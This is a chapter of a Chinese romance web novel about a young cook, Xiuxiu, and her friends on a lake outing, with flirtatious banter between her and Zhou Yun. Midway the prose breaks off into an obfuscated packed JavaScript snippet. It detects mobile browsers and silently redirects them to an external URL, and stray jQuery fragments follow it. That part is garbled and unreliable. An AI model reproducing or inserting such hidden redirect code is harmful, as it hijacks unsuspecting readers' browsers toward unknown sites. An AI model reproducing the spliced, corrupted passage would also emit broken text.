20. 第 20 章
作品:《生明月》 暮春午后,饭时已过,金鼎轩后厨声响稍息,角落的灶台四周弥漫着醇厚药香,混杂着老火慢炖的骨汤气息。
秀秀挽着袖子,正对一杆小铜秤皱眉。秤盘里堆着淡黄色茯苓,她拈起一片放在鼻尖轻嗅,药香扑鼻,又俯身察看汤色,总觉得还缺些什么。
院试在即,过后两日便是厨艺大赛,四月将尽,正值春夏之交,湿气渐盛,她选的这道四神汤,虽适应节气,又能健脾渗湿,可实在中规中矩。
“若是再添些干货...”她喃喃自语,指尖无意识敲着紫砂药罐,窗外飘来卖花女的叫卖声,湿润清晰:“现摘的芍药、牡丹——”
正思忖间,后厨门帘被人掀起。
跑堂小哥一脸带笑:“姑娘,周家锅铺的叶小姐托人带话来了!”
秀秀放下袖子,跟着出去,只见一个锅铺伙计递过一张花笺。展开来看,她对着清一色的簪花小楷犯了难。
有好些字她都不认得。
锅铺伙计及时开口:“文珠小姐说了,明日休沐,特请您去城南翡翠湖游船。小姐得了一筐莲蓬,邀您前去品尝新鲜莲子。若是李公子得空,明日一齐去便是。”
当夜,秀秀把花笺拿出来给李聿看,他细细扫过上面的字,笑道:“好姐姐,这花笺就留给我罢。”
秀秀促狭心起,问:“咦,李先生既已准你考试前松散松散,你还留这信笺作何?”
李聿挠了挠头皮:“我...我是看文珠的字实在是好。”
秀秀又问:“只是为了文珠的字?”
李聿忙不迭说:“那是自然!”
秀秀点头称是:“难怪,我险些就要误会,还当你爱屋及乌。”
李聿霎时羞红了脸,“爱屋及乌”这词还是他教的。他支支吾吾扯开话头:“姐姐不若先替我想想带什么礼去才好...”
见他羞涩地垂下了头,秀秀暗自笑笑,接上他的话说:“你想送给文珠的礼,怕是早就叠成小山了,还需要我这姐姐来出主意?”
被人猜中心思,李聿憋得一句话也说不出,最后只憋出一句:
“秀秀姐姐!”
大清早,秀秀正与翠鸾、红莺正在锦心园门口剪几枝芍药,便听见李聿一声招呼。
少年郎神采奕奕看来,面露不解,问:“这是做什么?”
只见丫鬟一手拢着数枝粉白芍药,一手拿着一根锦带,将芍药茎秆一齐缠起来。
秀秀解释道:“芍药开得正艳,我折几枝给文珠带去赏玩,图个好看。”
说罢,秀秀又从脚边拎起一小食盒,食盒里是她一早起来做的槐花糕。
昨晚,钊虹派人给园子送来好些莲子和鲜藕,都用荷叶好生包着。秀秀整日在金鼎轩用饭,钊虹念她吃不上,便交给小厨房,好让她随吃随做。
她多嘴问了句:“干娘是怎么得了这新鲜玩意儿?”
小丫鬟回道:“冶坊周公子派人送来的,说是船队从南边运来的新货。”
此话不问倒好,一问便又是半夜的辗转。夜里她躺在床上,明明闭着眼,可一人却在眼前挥之不去,瞬息未察,一慢一快的梆锣声再次响起,紧随其后,是更夫悠长的吆喝:“三更天,平安无事——”
秀秀翻来覆去,本想着明日煲一锅汤带去给众人尝尝,现下有鲜莲子,莲子百合瘦肉汤最合适不过,可再三思虑,最后还是换成了槐花糕。
思绪纷飞,待她入睡之时,已不知天地何时。
今日马车内,她精神萎靡不济,姐弟俩说了几句院试之事,便不再做声了。李聿从一轻巧精致的薄木匣中拿出一书,兀自翻看起来。
厚重的青呢帘挡已被撤下,窗外微风把车帘吹起,车身轻晃,秀秀身侧的芍药跟着轻晃,人与花俱是昏昏欲睡。
又不知过了多久,华盖马车缓缓停下,她在惺忪中听见轿外车夫小声说道:“少爷,姑娘,翡翠湖到了。”
翡翠湖坐落在皇京南,是一片清幽之地,湖周竹林环绕,更显清奇,因其湖水青绿如翡,故而得名。正逢天清气朗,阳光透过新绿枝叶倾洒,湖水通透见底,一片波光。
“碧秋姐姐!秀秀姐姐!”叶文珠欢快的嗓音跃动而起。
原来三家马车竟在路上遇见,此时一路同行至此。
秀秀看去,身边同时响起李聿的声音:“不然兄!”
意料之中。她带笑朝文珠走去。
今日秀秀身着妃色竖领长衫,下配一条象牙白暗花云纹裙,明眸皓齿,亭亭玉立,恍然几月,已与年前的模样大相径庭,从头到尾打量一圈,这才注意到她手里的淡粉芍药。
人比花娇。
周允错开眼,随意行礼寒暄,随众人往湖边行去。
周家几个仆从已在湖边候着,引众人上船。
檀木雕花食盒被小厮层层打开,碟中盛着蜜渍蕃柿、杏仁酥等各类茶点吃食,几支莲蓬被摆进盘中,嫩绿色清新可人,小厮又给每人沏了茶,清淡的茉莉香气。
众人落座,三姊妹挨着,周允对着文珠,李聿对着秀秀坐,仆从退去船面,船舱只留五人,霎时空荡,船慢慢地、轻轻地往湖心淌去。
吴碧秋带了一坛桃花酿,置于小风炉上温着。叶文珠解开芍药,嚷着要给两个姐姐簪花。秀秀也拿出自己做的槐花糕,给众人分食一圈,最后才轮到周允,只见他倚靠在窗边悠然自得,没有要接的意思。
秀秀没好气。
四目一触,她坐下,兀自拿起一块槐花糕,小口吃起来。
钊府有棵老槐,这个季节的槐花全是嫩芽,不如盛放之时喷香,却极适合做吃食。小小一块白色,掺着几粒花萼的绿,清香微甜,一船人都赞叹秀秀的手艺,独独一人没吃上。
周允朝对面斜看,若无其事地喊文珠分莲蓬。
面前一整个莲蓬在桌上摇晃不定,他仍一副懒洋洋做派,目视前方,穿过桃腮、粉颈、珠翠、钗环,赏对面的湖光、春色、颤巍巍的芍药,或者别的什么。
剥莲子如同剥松子,讲究一个闲情逸致的趣。从莲蓬里扣出一颗,再剥开柔绿外衣,玉白莲子显露出来,拇指轻掰,揪出中间的绿色苦芯,剩下的放进莹润红唇里,脆生生的果仁在齿间徜徉。
秀秀轻嚼莲子,一刹那神游天外,耳畔文珠的笑语如银铃,她慢慢回过神来,一抬眼,睇见李聿欢乐的神情,转而悄悄侧眸一瞥。
周允察觉到她转瞬即逝的目光,垂眼一定,接着便长臂一伸,到秀秀面前小碟上拿了一块槐花糕。
他的动作里没有丝毫迟疑,一切是那么自然,以至于船舱之中,除了秀秀无人注意到他。
秀秀继续低下头剥莲子,一旁欢声笑语仍在继续,另一旁却十分安静。
这个时节,极鲜嫩的莲蓬,从江南沿着运河来到皇京,不是谁都能吃到。
昨日,吴府也收到一筐莲蓬和一筐嫩藕。都是掌管皇京民营漕帮的张家送来的。
是来年六月她便要嫁过去的张家。
吴碧秋往船面上看去,那人背对船舱,面朝湖水,站得挺直,不知在想什么。
这时,周允蓦地开口,声音清晰可辨,他问:“莲子好吃吗?”
此话一出,众人面面相觑,周允看了一眼秀秀,又问:“文珠,碧秋,莲子好吃吗?”
叶文珠觉得古怪,点点头:“好吃呀。”
周允不作声了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16633003|188039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>吴碧秋提出来:“外头船面上清风徐徐,不似蓬窗之间不透风,叫人好生憋屈,你们坐,我出去瞧瞧。”
众人应着,吴碧秋独自出了船舱,婷婷袅袅走到那人身后,小声一句“杨钦”,那人回过头来,她把几颗剥好的莲子放进他手里。
一阵湖波荡漾,吴碧秋软了脚,杨钦稳稳把人拉进怀里,又紧忙松开,他垂着眼,手里的莲子却是一颗也没掉。
秀秀收回视线,叶文珠却起身,也要去外头看看,秀秀眼疾手快,连忙把人抓住。
叶文珠看过来,秀秀却不知如何开口,一时语塞,迟迟疑疑。
周允又开口了,他问李聿:“这是何物?”
李聿从身后掏出一函套,秀秀认出来了,这是李聿在轿子里看的那话本子。李聿脸色一红,神秘兮兮朝叶文珠招手,二人便去了另一侧的船面之上。
两头都被人占据,哪边也去不得,秀秀抿抿嘴,只得牺牲自己,与周允共处一室,一言不发,她索性侧过身往窗外看去。
不多时,她便回过头来,气闷说道:“不许再偷看我!”
周允闻言双手抱臂,往后一靠,若无其事地问:“你若不看我,又怎知我看你?”
秀秀当即起身,往船头一瞧,言笑晏晏意绵绵,往船尾一瞧,剪不断理还乱。她憋了口气,又坐下。
周允突然间心情大好,他幽幽问道:“莲子好吃吗?”
秀秀不应,又侧过身去,轻轻推窗,开一个缝,湖面上的春风溜进来,船舱里顿时变得通透舒畅,她把窗户开得更大,头发上的芍药也被吹得更颤了。
身后不依不饶,音调平平:“莲藕呢,好吃么?”
秀秀想一头扎进湖里,离他远远的才好。
她回头,惺惺作态,笑得甜美可人:“不好吃,可以称得上难吃。”
牙尖嘴利。
周允点点头:“妹妹嘴刁。”
秀秀脸颊被衣裳映成了妃色,粉里透红。她说:“不许叫我...那二字。”
周允明知故问:“哪二字?嘴刁还不许人说了?”
秀秀咬牙说:“我可不是你妹妹。”
周允话也多起来:“你不喊我哥哥,还不准我喊妹妹么?妹妹未免太过霸道。”说到妹妹,他刻意加重语气,大抵是要时刻提醒自己什么,但在秀秀看来,这是明晃晃的挑衅。
秀秀义正辞严:“你也不是我哥哥,我从来没有哥哥。”
从胡家逃出来快一年,皇京已然是她第二个家了,可想起那些在胡家当“准女儿”的日子,想起要对着大她十六岁的病秧子喊“哥哥”,想起毫厘之差就要葬送一生,她止不住地脊背发凉,心有余悸。
她最厌恶的就是“哥哥”。
周允瞧她脸色不对,忽而英雄气短,声音莫名柔和起来,正色一句:“好,你不愿意,我不喊就是了。”
见她仍闷闷,周允又是长臂一挥,去够她面前的槐花糕。
“嗯?”秀秀一巴掌拍上他手腕,他手在半空顿住,故意喃喃自语,“不仅嘴刁,还小气。”
说罢,他索性把碟子都端了过来。
秀秀瞪他一眼,又端回来。
彼此视线交汇,周允情不自禁地扬起嘴角,秀秀没忍住,偏过头去牢牢咬住嘴唇,笑从眼睛里溢出来。
一来一回之间,此时心情已与方才迥然不同。她端起杯盏饮茶,茉莉花香在唇中漫开。
周允照做,浅呷一口,霎时心旷神怡。
上下天光,一碧万顷,游船款款摇曳,竹林郁郁青葱,湖波柔顺清澈,旖旎动人的好春光呀。
二人难得平和,忽地,一阵清悠歌声从远处传来。

